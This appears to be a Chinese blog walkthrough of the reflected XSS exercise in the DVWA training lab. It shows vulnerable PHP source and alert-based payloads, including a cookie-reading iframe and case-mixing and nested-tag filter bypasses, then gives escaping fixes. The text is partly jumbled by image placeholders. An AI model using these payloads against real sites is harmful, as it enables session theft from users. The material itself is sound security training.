DVWA-XSS(Reflected)

反射型 XSS 是指应用程序直接将攻击者提交的具有恶意代码的数据回传浏览器,因 html 注入导致页面被植入恶意代码从而被攻击者控制浏览器

Low

1、查看服务器端源代码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

2、查看客户端源代码

Vulnerability: Reflected Cross Site Scripting (XSS)

<div class="vulnerable_code_area">
	<form name="XSS" action="#" method="GET">
		<p>
			What's your name?
			<input type="text" name="name">
			<input type="submit" value="Submit">
		</p>

	</form>
	<pre>Hello kk</pre>
</div>
**值得注意的是,#将构造的payload注释掉了**
**应用程序直接将提交数据输出到 html 页面,未对提交数据做任何过滤检查和转义操作,可直接使用提交数据包含 xss payload 进行攻击**

3、构造payload

http://localhost/dvwa-master/vulnerabilities/xss_r/?name=kk<script>alert(1)</script>

利用hackbar
在这里插入图片描述
或者直接在文本框中输入攻击语句

显示cookie数据在这里插入图片描述

图像的替代文本
在这里插入图片描述

![在这里插入图片描述](https://img-blog.csdnimg.cn/2020013113372318.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDg2NjEzOQ==,size_16,color_FFFFFF,t_70) 重定向 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200131141635547.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDg2NjEzOQ==,size_16,color_FFFFFF,t_70) ![在这里插入图片描述](https://img-blog.csdnimg.cn/2020013114210612.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDg2NjEzOQ==,size_16,color_FFFFFF,t_70) **2、查看客户端源代码** ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200131142334630.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDg2NjEzOQ==,size_16,color_FFFFFF,t_70) **3、构造payload** 说明: 应用程序直接将提交数据中的
<img src="" onerror="alert(/xss/)"/>
<iframe src="" onload="alert(document.cookie)"></iframe>

依然适用
还可以利用大小写变换

<Script>alert(/xss/)</sCRipt>

在这里插入图片描述
二次变化

<sc<script>ript>alert(/xss/)</script>

在这里插入图片描述

High

1、查看服务器端代码
直接输入
在这里插入图片描述
在这里插入图片描述
2、构造payload
说明:
应用程序直接将提交数据中的<script 字符串进行过滤后输出到 html 页面,但可以通过iframe、img 等标签进行绕过,从而成功利用漏洞
在这里插入图片描述

Impassible

修复建议:
a) 禁用 js 读取 cookie(设置 cookie 为 httponly)
b) 在页面输出数据时对<、>、&、 '、"、/等字符进行 html 实体转义
c) 对输入数据中<、>、&、 '、"进行严格检查

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素
tocken

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值